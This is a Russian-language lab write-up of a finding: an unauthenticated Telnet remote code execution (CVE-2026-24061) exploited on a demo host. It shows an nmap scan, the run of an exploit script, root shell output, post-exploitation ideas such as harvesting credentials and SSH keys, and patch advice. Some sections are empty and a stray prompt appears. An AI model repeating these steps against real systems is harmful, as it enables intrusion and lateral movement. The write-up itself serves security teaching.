Отчёт о находке в ходе лабораторной демонстрации CyberHawks

Авторство: @SafeBreach-Labs

CVE: CVE-2026-24061

Лаборатория: Cyberhawks Lab
Цель: 10.1.1.1 (demo.cyberhawks.lab)
Идентификатор находки: WU-08
Дата: 2026-09-08
Критичность: Критическая
Статус: Подтверждена / Эксплуатирована

Краткое описание

В ходе оценки лабораторной среды Cyberhawks была выявлена и успешно эксплуатирована неаутентифицированная уязвимость удалённого выполнения кода (RCE) на целевом хосте (10.1.1.1). Эксплуатация CVE-2026-24061 через открытый сервис Telnet (TCP/23) привела к получению интерактивной оболочки с правами root, что предоставило полный административный контроль над системой.

Область и окружение

Разведка

Сканирование портов

Было выполнено сканирование версий служб с помощью Nmap для перечисления открытых портов и сервисов на целевом хосте.

Команда:

nmap -sV 10.1.1.1

Сводка результатов:

Важные наблюдения:

• Хост предоставляет широкую и вызывающую опасения поверхность атаки через 15 портов.
• Порт 23 (Telnet) был доступен, что сделало его целью немедленного приоритета.
• Наличие Telnet — изначально небезопасного протокола с передачей данных в открытом виде — на любом современном хосте представляет собой критическую ошибку конфигурации. Вероятно, версия сервиса эксплуатируема.

Сведения об уязвимости

Описание

CVE-2026-24061 — это неаутентифицированная уязвимость удалённого выполнения кода, затрагивающая компонент демона Telnet в GNU inetutils 2.6. Эксплуатация позволяет удалённому неаутентифицированному атакующему выполнять произвольные команды на целевой системе с привилегиями запущенного сервиса — в данном случае root.

Эксплуатация

Используемый инструмент / эксплойт

Специально созданный Python-скрипт эксплойта (telnet_rce.py), нацеленный на CVE-2026-24061, был запущен против уязвимого сервиса Telnet.

Команда:

python3 telnet_rce.py 10.1.1.1

Вывод эксплойта:

[*] Connected to 10.1.1.1:23
[*] Interactive session started. Use Ctrl+C to quit.

Linux 6.12.41+deb13-amd64 (demo.cyberhawks.lab) (pts/0)

root@demo:~#

Проверка после эксплуатации

После получения оболочки следующие команды подтвердили уровень полученного доступа:

Проверка идентификации:

root@demo:~# id
uid=0(root) gid=0(root) groups=0(root)

Перечисление файловой системы:

root@demo:~# ls -la
total 36
drwx------  6 root root 4096 Aug 28 14:47 .
drwxr-xr-x 19 root root 4096 Aug 28 15:37 ..
-rw-r--r--  1 root root  607 May 12  2025 .bashrc
drwx------  4 root root 4096 Sep  6  2025 .cache
drwxr-xr-x  3 root root 4096 Sep  6  2025 .config
drwxrwxr-x  3 root root 4096 Sep  6  2025 .local
-rw-------  1 root root  261 Sep  6  2025 .mariadb_history
-rw-r--r--  1 root root  132 May 12  2025 .profile
drwx------  2 root root 4096 Sep  6  2025 .ssh

Проверка версии сервиса

root@demo:~# telnet --version

telnet (GNU inetutils) 2.6
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.

Ключевые выводы после эксплуатации:

• .mariadb_history — указывает на активное использование базы данных MariaDB; потенциальная возможность дальнейшего сбора учётных данных или кражи данных.
• Каталог .ssh/ — может содержать закрытые ключи, пригодные для горизонтального перемещения на другие хосты.
• Подтверждён полный доступ root (UID 0) без необходимости выполнения этапа повышения привилегий.

Влияние

Полная компрометация системы была достигнута одним неаутентифицированным шагом. Атакующий с доступом к этому сегменту сети может:

• Читать, изменять или выгружать все данные, хранящиеся на хосте.
• Собирать учётные данные из истории оболочки, файлов конфигурации и базы данных MariaDB.
• Использовать SSH-ключи для горизонтального перемещения на другие хосты в сети.
• Устанавливать механизмы постоянного присутствия (например, бэкдор-учётные записи, cron-задачи, руткиты).
• Нарушать доступность всех сервисов, работающих на хосте.

Рекомендации

Немедленные (критический приоритет)

1. Устранить или смягчить CVE-2026-24061 — Применить патч от поставщика для GNU inetutils, если Telnet должен оставаться в использовании. Проверить наличие обновлённого пакета:
   root@kitploit:~

   apt update && apt install inetutils-telnetd
   

Артефакты и доказательства

Отчёт подготовлен для Cyberhawks Lab — только в образовательных целях.